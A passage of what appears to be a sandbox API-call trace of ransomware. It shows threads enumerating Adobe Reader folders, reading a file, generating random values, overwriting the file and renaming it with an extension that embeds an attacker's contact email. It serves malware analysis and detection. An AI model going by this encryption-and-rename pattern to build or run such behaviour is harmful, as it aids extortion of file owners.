10.0\\Reader\\cryptocme2.sig", dwFileAttributes=0x20) returned 1 [0058.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x112c [0058.852] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x374f880 | out: lpFileSize=0x374f880*=1607) returned 1 [0058.852] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x643, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.852] ReadFile (in: hFile=0x112c, lpBuffer=0x374f804, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x374f800, lpOverlapped=0x0 | out: lpBuffer=0x374f804*, lpNumberOfBytesRead=0x374f800*=0x4, lpOverlapped=0x0) returned 1 [0058.854] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9508 [0058.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9468 [0058.854] NtQuerySystemTime (in: CurrentTime=0x374f7e0 | out: CurrentTime=0x374f7e0*=132174898228356000) returned 0x0 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x41fd623b [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x7fcd4462 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x55ca6835 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x41a9a512 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x3c7e89c3 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x44a160a6 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x5479b712 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x3f1a5005 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x6da013ea [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x142ef81b [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x15d2db64 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x3e993939 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x3f0eacd [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x344dd64a [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x6186065e [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x39de625 [0058.854] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x33b492ea [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x3fbcdc9d [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x4abe9940 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x59acee44 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x46181436 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x2e753e97 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x25110fa4 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x17201a5c [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0xdf6af94 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x1eddaec3 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0xa8f28e2 [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0xc5174fd [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x14b28ddb [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x535d633e [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x31422cfd [0058.855] RtlRandomEx (in: Seed=0x374f7ec | out: Seed=0x374f7ec) returned 0x52fc3b76 [0058.867] ReadFile (in: hFile=0x112c, lpBuffer=0x96a56a0, nNumberOfBytesToRead=0x647, lpNumberOfBytesRead=0x374f7dc, lpOverlapped=0x0 | out: lpBuffer=0x96a56a0*, lpNumberOfBytesRead=0x374f7dc*=0x647, lpOverlapped=0x0) returned 1 [0058.867] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.867] WriteFile (in: hFile=0x112c, lpBuffer=0x96b1ea8*, nNumberOfBytesToWrite=0x647, lpNumberOfBytesWritten=0x374f7d8, lpOverlapped=0x0 | out: lpBuffer=0x96b1ea8*, lpNumberOfBytesWritten=0x374f7d8*=0x647, lpOverlapped=0x0) returned 1 [0061.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9700 [0061.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9728 [0061.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9728) returned 1 [0061.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96b1ea8) returned 1 [0061.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96a56a0) returned 1 [0061.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4373a0) returned 1 [0061.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0061.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40acd0 [0061.316] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.316] WriteFile (in: hFile=0x112c, lpBuffer=0x12d7cff8*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x374f840, lpOverlapped=0x0 | out: lpBuffer=0x12d7cff8*, lpNumberOfBytesWritten=0x374f840*=0x10d, lpOverlapped=0x0) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7cff8) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9728) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9700) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9508) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9418) returned 1 [0062.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93a0) returned 1 [0062.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0062.804] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" [0062.804] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig.mailto[2Hamlampampom@cock.li].cd46d" [0062.804] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x374f7f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.090] NtQueryInformationFile (in: FileHandle=0x112c, IoStatusBlock=0x374f804, FileInformation=0x374f7dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x374f804, FileInformation=0x374f7dc) returned 0x0 [0063.090] NtSetInformationFile (FileHandle=0x112c, IoStatusBlock=0x374f804, FileInformation=0x374f7dc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.091] FlushFileBuffers (hFile=0x112c) returned 1 [0066.210] CloseHandle (hObject=0x112c) Thread: id = 572 os_tid = 0xfe4 [0049.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447ba0 [0049.883] wcscpy (in: _Dest=0x447ba0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0049.883] wcscat (in: _Dest=0x447ba0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\" [0049.883] wcscat (in: _Dest=0x447ba0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*" [0049.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.883] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0060.779] wcscmp (_String1=".", _String2=".") returned 0 [0060.779] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.779] wcscmp (_String1="..", _String2=".") returned 1 [0060.779] wcscmp (_String1="..", _String2="..") returned 0 [0060.779] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0060.779] wcscmp (_String1="CAT", _String2=".") returned 1 [0060.779] wcscmp (_String1="CAT", _String2="..") returned 1 [0060.779] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6e18 [0060.779] wcscpy (in: _Dest=0x5ec6e18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0060.779] wcscat (in: _Dest=0x5ec6e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\" [0060.779] wcscat (in: _Dest=0x5ec6e18, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" Thread: id = 573 os_tid = 0xfe8 [0049.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447c28 [0049.884] wcscpy (in: _Dest=0x447c28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0049.884] wcscat (in: _Dest=0x447c28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0049.884] wcscat (in: _Dest=0x447c28, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*" [0049.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0049.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440de0 [0058.832] wcscmp (_String1=".", _String2=".") returned 0 [0058.832] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.833] wcscmp (_String1="..", _String2=".") returned 1 [0058.833] wcscmp (_String1="..", _String2="..") returned 0 [0058.833] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0058.833] wcscmp (_String1="JSByteCodeWin.bin", _String2=".") returned 1 [0058.833] wcscmp (_String1="JSByteCodeWin.bin", _String2="..") returned 1 [0058.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ee30 [0058.833] wcscpy (in: _Dest=0x43ee30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0058.833] wcscat (in: _Dest=0x43ee30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0058.833] wcscat (in: _Dest=0x43ee30, _Source="JSByteCodeWin.bin" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" [0063.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ee30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0063.876] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0 [0063.876] FindClose (in: hFindFile=0x440de0 | out: hFindFile=0x440de0) returned 1 [0063.876] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0063.876] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447c28) returned 1 [0063.876] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 Thread: id = 574 os_tid = 0xfec [0049.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a3a8 [0049.884] wcscpy (in: _Dest=0x43a3a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0049.884] wcscat (in: _Dest=0x43a3a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0049.884] wcscat (in: _Dest=0x43a3a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*" [0049.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459c98 [0049.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3a8 [0060.779] wcscmp (_String1=".", _String2=".") returned 0 [0060.779] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.785] wcscmp (_String1="..", _String2=".") returned 1 [0060.785] wcscmp (_String1="..", _String2="..") returned 0 [0060.785] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0060.785] wcscmp (_String1="CAT", _String2=".") returned 1 [0060.785] wcscmp (_String1="CAT", _String2="..") returned 1 [0060.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f0b8 [0060.785] wcscpy (in: _Dest=0x45f0b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0060.785] wcscat (in: _Dest=0x45f0b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0060.785] wcscat (in: _Dest=0x45f0b8, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" Thread: id = 575 os_tid = 0xff0 [0049.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45f038 [0049.885] wcscpy (in: _Dest=0x45f038, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0049.885] wcscat (in: _Dest=0x45f038, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0049.885] wcscat (in: _Dest=0x45f038, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*" [0049.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458220 [0049.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ee8 [0060.777] wcscmp (_String1=".", _String2=".") returned 0 [0060.777] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.777] wcscmp (_String1="..", _String2=".") returned 1 [0060.777] wcscmp (_String1="..", _String2="..") returned 0 [0060.777] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0060.777] wcscmp (_String1="ca_ES", _String2=".") returned 1 [0060.777] wcscmp (_String1="ca_ES", _String2="..") returned 1 [0060.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec6d90 [0060.778] wcscpy (in: _Dest=0x5ec6d90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0060.778] wcscat (in: _Dest=0x5ec6d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0060.778] wcscat (in: _Dest=0x5ec6d90, _Source="ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0066.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec6d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1338 [0066.093] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0066.093] wcscmp 